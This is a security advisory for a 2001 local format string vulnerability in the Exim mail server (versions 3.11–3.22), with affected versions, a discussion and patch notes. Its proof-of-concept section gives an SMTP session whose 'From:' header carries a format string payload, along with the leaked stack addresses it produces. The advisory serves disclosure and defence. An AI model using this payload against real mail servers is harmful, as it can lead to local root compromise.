Exim Format String Vulnerability

BID:2828

Info

Exim Format String Vulnerability

Bugtraq ID: 2828
Class: Input Validation Error
CVE:
Remote: No
Local: Yes
Published: Jun 06 2001 12:00AM
Updated: Jun 06 2001 12:00AM
Credit: This vulnerability was submitted to BugTraq on June 6th, 2001 by Megyer Laszlo <[email protected]>.
Vulnerable: University of Cambridge Exim 3.22
- Redhat PowerTools 7.1
University of Cambridge Exim 3.21
University of Cambridge Exim 3.20
University of Cambridge Exim 3.19
- Redhat PowerTools 7.0
University of Cambridge Exim 3.18
University of Cambridge Exim 3.17
University of Cambridge Exim 3.16
University of Cambridge Exim 3.15
University of Cambridge Exim 3.14
University of Cambridge Exim 3.13
- Redhat PowerTools 6.2
University of Cambridge Exim 3.12
+ Debian Linux 2.2 sparc
 + Debian Linux 2.2 powerpc
 + Debian Linux 2.2 IA-32
 + Debian Linux 2.2 arm
 + Debian Linux 2.2 alpha
 + Debian Linux 2.2 68k
 University of Cambridge Exim 3.11
Not Vulnerable:

Discussion

Exim Format String Vulnerability

Exim is a free, open-source Mail Transfer Agent for Unix systems.

Exim is vulnerable to a locally exploitable format string attack which may compromise root access. The vulnerability exists only when the 'syntax checking' mode is turned on, which it is not by default.

The vulnerability has to do with handling of the hostname string in an email address argumenting the 'From:' field. If the syntax checking is enabled, then this vulnerability can be exploited to execute arbitrary code with root priviliges.

Exploit / POC

Exim Format String Vulnerability

This example was provided by Megyer Laszlo <[email protected]>:

Try this:
===8<======8<=======8<======
lez:~$ /usr/sbin/exim -bS
mail from:lez@lez
rcpt to:hax0r@lez
data
From:@@%p%p%p%p%p%p%p%p%p%p

.
===8<======8<=======8<=======

Somewhere in the answers you should see:
550 Syntax error in 'From' header: domain missing or malformed: failing address is:
@@0x80beba00x804d2690x80be6600x80be6680x80bd050(nil)(nil)(nil)(nil)0x80b9d40

Solution / Fix

Exim Format String Vulnerability

Solution:
Foldi Tamas <[email protected]> has submitted an unofficial source code patch. It is available below.

Debian, Conectiva, and Red Hat have provided updates which rectify this issue.


University of Cambridge Exim 3.11

University of Cambridge Exim 3.12

University of Cambridge Exim 3.13

University of Cambridge Exim 3.14

University of Cambridge Exim 3.15

University of Cambridge Exim 3.16

University of Cambridge Exim 3.17

University of Cambridge Exim 3.18

University of Cambridge Exim 3.19

University of Cambridge Exim 3.20

University of Cambridge Exim 3.21

University of Cambridge Exim 3.22

References

Exim Format String Vulnerability

References:

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